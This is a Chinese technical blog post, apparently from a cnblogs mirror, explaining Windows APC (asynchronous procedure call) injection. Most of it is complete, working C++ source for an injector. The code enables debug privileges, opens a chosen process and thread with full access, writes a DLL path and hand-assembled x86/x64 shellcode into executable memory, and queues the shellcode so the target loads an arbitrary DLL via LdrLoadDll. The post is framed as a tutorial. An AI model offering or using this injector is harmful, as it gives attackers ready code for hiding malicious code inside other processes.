zoukankan      html  css  js  c++  java
  • 注入(2)--APC(Asynchronous Procedure Call)注入(异步过程调用)

    APC(Asynchronous Procedure Call,异步过程调用)是在一个特定线程环境下被异步执行的函数,分为用户模式APC和内核模式APC。每个线程都有一个APC队列。在用户模式下,当线程调用SleepEx、WaitForSingleObjectEx等进入"Alterable WaitStatus"状态(可警告的等待状态)的时候,系统会遍历该进程的APC队列,然后按照先进先出的顺序来执行这些APC。

    在用户模式下,微软提供了QueueUerAPC这个API来向一个线程插入APC。

    声明如下:
    WINBASEAPI
    DWORD
    WINAPI
    QueueUserAPC(
        _In_ PAPCFUNC pfnAPC,
        _In_ HANDLE hThread,
        _In_ ULONG_PTR dwData
        );
    pfnAPC:指向一个APC函数
    hThread:将要插入APC的线程句柄
    dwData:APC函数的参数

    先右键项目,点击属性->链接器->系统->子系统 选择窗口(/SUBSYSTEM:Windows)
    然后将_tmain()函数改为WinMain()函数

    // LoadExe.cpp : 定义控制台应用程序的入口点。
    //
    
    #include "stdafx.h"
    #include <Windows.h>
    #include <iostream>
    using namespace std;
    
    typedef struct _UNICODE_STRING
    {
    	USHORT				Length;
    	USHORT				MaximumLength;
    	PWSTR					Buffer;
    } UNICODE_STRING, *PUNICODE_STRING;
    
    
    typedef struct _INJECT_STRUCT {
    	UINT_PTR               LdrLoadDllAddress;   //4
    	UNICODE_STRING DllFullPath;   //4,4
    	HANDLE                 OutHandle;
    } INJECT_STRUCT, *PINJECT_STRUCT;
    
    int GrantDebugPrivileges();
    BOOL InjectByAPC(int ProcessID,int ThreadID,const char *szDllFullPath);
    UINT32 MakeShellCode(UINT8* ShellCodeData, PVOID Address);
    
    
    int WINAPI WinMain(HINSTANCE  hInstance,HINSTANCE  hPrevInstance,LPSTR  lpCmdLine,int nCmdShow)
    {
    	int ProcessID = 0;
    	int ThreadID = 0;
    
    	if (__argc < 2)
    	{
    		return -1;
    	}
    	if (!strcmp(__argv[1], "Inject"))
    	{
    
    		GrantDebugPrivileges();
    		ProcessID = atoi(__argv[2]);
    		ThreadID = atoi(__argv[3]);
    		return InjectByAPC(ProcessID, ThreadID, __argv[4]);
    	}
    	return 0;
    }
    
    int GrantDebugPrivileges()
    {
    	HANDLE TokenHandle = NULL;
    	TOKEN_PRIVILEGES PrivilegesToken;
    	LUID v1;
    	int iRet;
    
    	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle))
    	{
    		return 0;
    	}
    
    	if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &v1)) 
    	{
    		CloseHandle(TokenHandle);
    		return 0;
    	}
    	PrivilegesToken.PrivilegeCount = 1;
    	PrivilegesToken.Privileges[0].Luid = v1;
    	PrivilegesToken.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    
    	iRet = AdjustTokenPrivileges(TokenHandle, FALSE, &PrivilegesToken, sizeof(PrivilegesToken), NULL, NULL);
    	CloseHandle(TokenHandle);
    
    	return iRet;
    }
    
    
    BOOL InjectByAPC(int ProcessID,int ThreadID,const char *szDllFullPath)
    {
    	HANDLE ProcessHandle = NULL;
    	HANDLE ThreadHandle = NULL;
    	if (ProcessID <= 0 || ThreadID < 0)
    	{
    		return FALSE;
    	}
    	printf("Success
    ");
    	ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);    //打开系统所有进程
    	if (ProcessHandle == NULL) 
    	{
    		return FALSE;
    	}
    
    	if (ThreadID > 0) 
    	{
    		ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadID);//打开所有线程
    		if (ThreadHandle == NULL) 
    		{
    			CloseHandle(ProcessHandle);
    			return FALSE;
    		}
    	}
    
    	//注入都要在目标进程空间中申请内存  写入Dll的绝对路径
    	UINT32 DllPathLength = 0;
    	DllPathLength = (UINT32)strlen(szDllFullPath);
    	WCHAR* wzDllFullPath = (WCHAR*)calloc(1, (DllPathLength + 1) * sizeof(WCHAR));   //在LoadEx进程空间中
    	if (wzDllFullPath == NULL) 
    	{
    
    		return FALSE;
    	}
    	for (int i=0;i<DllPathLength;i++)
    	{
    		wzDllFullPath[i] = (UINT16)szDllFullPath[i];
    	}
    
    	//单字转换双字
    
    	WCHAR* wzDllFullPathData = (WCHAR*)VirtualAllocEx(ProcessHandle, NULL, (wcslen(wzDllFullPath) + 1) * sizeof(WCHAR), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    	if (wzDllFullPathData == NULL) 
    	{
    		free(wzDllFullPath);
    		wzDllFullPath = NULL;
    		return FALSE;
    	}
    	SIZE_T ReturnSize = 0;
    	if (!WriteProcessMemory(ProcessHandle, wzDllFullPathData, wzDllFullPath, (wcslen(wzDllFullPath) + 1) * sizeof(WCHAR), &ReturnSize)) 
    	{
    
    		free(wzDllFullPath);
    		wzDllFullPath = NULL;
    
    		return FALSE;
    	}
    	LPVOID LdrLoadDll;
    	LdrLoadDll = GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrLoadDll");   //LadrloadDll导出地址
    
    	INJECT_STRUCT InjectStruct = {0};
    
    	InjectStruct.LdrLoadDllAddress = (UINT_PTR)LdrLoadDll;
    	InjectStruct.DllFullPath.Buffer = wzDllFullPathData;
    	InjectStruct.DllFullPath.Length = InjectStruct.DllFullPath.MaximumLength = (USHORT)(wcslen(wzDllFullPath) * sizeof(WCHAR));
    
    	PINJECT_STRUCT InjectStructData = NULL;
    	//注:VirtualAllocEx()函数是在别人的内存空间中申请内存
    	InjectStructData = (PINJECT_STRUCT)VirtualAllocEx(ProcessHandle, NULL, sizeof(INJECT_STRUCT), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    	if (InjectStructData == NULL)
    	{
    		free(wzDllFullPath);
    		wzDllFullPath = NULL;
    
    		return FALSE;
    	}
    
    	if (!WriteProcessMemory(ProcessHandle, InjectStructData, &InjectStruct, sizeof(INJECT_STRUCT), &ReturnSize))
    	{
    		free(wzDllFullPath);
    		wzDllFullPath = NULL;
    
    		return FALSE;
    	}
    	char szShellCode[64] = {0};
    	UINT32  ShellCodeSize  = MakeShellCode((UINT8*)szShellCode, InjectStructData);
    
    	CHAR* szShellCodeData = NULL;
    	szShellCodeData =(CHAR*)VirtualAllocEx(ProcessHandle, NULL, ShellCodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	if (szShellCodeData == NULL) 
    	{
    		free(wzDllFullPath);
    		wzDllFullPath = NULL;
    		return FALSE;
    	}
    
    	if (!WriteProcessMemory(ProcessHandle, szShellCodeData, szShellCode, ShellCodeSize, &ReturnSize)) 
    	{
    		free(wzDllFullPath);
    		wzDllFullPath = NULL;
    
    		return FALSE;
    	}
    
    	if (ThreadHandle)
    	{
    
    		if(!QueueUserAPC((PAPCFUNC)szShellCodeData,ThreadHandle, (ULONG_PTR)InjectStructData))
    		{
    			free(wzDllFullPath);
    			wzDllFullPath = NULL;
    			return FALSE;
    		}
    	}
    
    	free(wzDllFullPath);
    	wzDllFullPath = NULL;
    	return TRUE;
    }
    
    UINT32 MakeShellCode(UINT8* ShellCodeData, PVOID Address)
    {
    #ifndef _WIN64
    	ShellCodeData[0] = 0xb8;        // mov eax, InjectStructData
    	memcpy(&ShellCodeData[1], &Address, sizeof(Address));
    	ShellCodeData[5] = 0x53;		// push ebx                     //保存ebx
    	ShellCodeData[6] = 0x8d;		// lea ebx, InjectStructData+offsetof(INJECT_STRUCT.OutHandle)
    	ShellCodeData[7] = 0x58;
    	ShellCodeData[8] = (UINT8)offsetof(INJECT_STRUCT, OutHandle);
    	ShellCodeData[9] = 0x53;		// push ebx ; ModuleHandle arg
    	ShellCodeData[10] = 0x8d;		// lea ebx, InjectStructData+offsetof(INJECT_STRUCT.DllFullPath)
    	ShellCodeData[11] = 0x58;
    	ShellCodeData[12] = (UINT8)offsetof(INJECT_STRUCT, DllFullPath);
    	ShellCodeData[13] = 0x53;		// push ebx ; ModuleFileName arg
    	ShellCodeData[14] = 0x6a;		// push 0 (flags arg)
    	ShellCodeData[15] = 0x00;
    	ShellCodeData[16] = 0x6a;		// push 0 (PathToFile arg)
    	ShellCodeData[17] = 0x00;
    	ShellCodeData[18] = 0x8b;		// mov ebx, InjectStructData+offsetof(INJECT_STRUCT.LdrLoadDllAddress)
    	ShellCodeData[19] = 0x58;
    	ShellCodeData[20] = (UCHAR)offsetof(INJECT_STRUCT, LdrLoadDllAddress);
    	ShellCodeData[21] = 0xff;		// call ebx
    	ShellCodeData[22] = 0xd3;
    	ShellCodeData[23] = 0x5b;		// pop ebx
    	ShellCodeData[24] = 0xc2;		// retn 0x4
    	ShellCodeData[25] = 0x04;
    	ShellCodeData[26] = 0x00;
    	return 27;
    #else
    	ShellCodeData[0] = 0x53;		// push rbx
    	ShellCodeData[1] = 0x48;		// sub rsp, 0x20
    	ShellCodeData[2] = 0x83;
    	ShellCodeData[3] = 0xec;
    	ShellCodeData[4] = 0x20;
    	ShellCodeData[5] = 0x48;		// mov rax, rcx (InjectStructData)
    	ShellCodeData[6] = 0x8b;
    	ShellCodeData[7] = 0xc1;
    	ShellCodeData[8] = 0x48;		// lea rbx, Address+offsetof(INJECT_STRUCT.OutHandle)
    	ShellCodeData[9] = 0x8d;
    	ShellCodeData[10] = 0x58;
    	ShellCodeData[11] = (UINT8)offsetof(INJECT_STRUCT, OutHandle);
    	ShellCodeData[12] = 0x49;		// mov r9, rbx ; ModuleHandle arg
    	ShellCodeData[13] = 0x89;
    	ShellCodeData[14] = 0xd9;
    	ShellCodeData[15] = 0x48;		// lea rbx, injstructaddr+offsetof(INJECT_STRUCT.DllFullPath)
    	ShellCodeData[16] = 0x8d;
    	ShellCodeData[17] = 0x58;
    	ShellCodeData[18] = (UINT8)offsetof(INJECT_STRUCT, DllFullPath);
    	ShellCodeData[19] = 0x49;		// mov r8, rbx ; ModuleFileName arg
    	ShellCodeData[20] = 0x89;
    	ShellCodeData[21] = 0xd8;
    	ShellCodeData[22] = 0x48;		// xor rdx, rdx ; Flags arg    
    	ShellCodeData[23] = 0x31;
    	ShellCodeData[24] = 0xd2;
    	ShellCodeData[25] = 0x48;					// xor rcx, rcx ; PathToFile arg
    	ShellCodeData[26] = 0x31;
    	ShellCodeData[27] = 0xd1;
    	ShellCodeData[28] = 0x48;					// mov rbx, Address+offsetof(INJECT_STRUCT.LdrLoadDllAddress)
    	ShellCodeData[29] = 0x8b; 
    	ShellCodeData[30] = 0x58;
    	ShellCodeData[31] = (UINT8)offsetof(INJECT_STRUCT, LdrLoadDllAddress);
    	ShellCodeData[32] = 0xff;					// call rbx
    	ShellCodeData[33] = 0xd3;
    	ShellCodeData[34] = 0x48;					// add rsp, 0x20
    	ShellCodeData[35] = 0x83;
    	ShellCodeData[36] = 0xc4;
    	ShellCodeData[37] = 0x20; 
    	ShellCodeData[38] = 0x5b;					// pop rbx
    	ShellCodeData[39] = 0xc3;					// ret
    	return 40;
    #endif
    }
  • 相关阅读:
    .Net Core DI依赖注入:一个接口注入多个实现类(转载)
    单表千万行数据库 LIKE 搜索优化手记(链接)
    Do the JSON keys have to be surrounded by quotes?(转载)
    梳理情绪解决问题
    MYSQL主从数据库同步备份配置的方法
    VMware ESXI 6.5 安装及配置
    linux centos7 完整邮件服务器搭建及调用_2018_lcf
    利用Tampermonkey(油猴)+ IDM 实现百度云盘大文件下载(IDM安装教程)
    Java中使用feign遇到的坑
    微服务为什么要有服务发现与注册?
  • 原文地址:https://www.cnblogs.com/Toring/p/6628284.html
Copyright © 2011-2022 走看看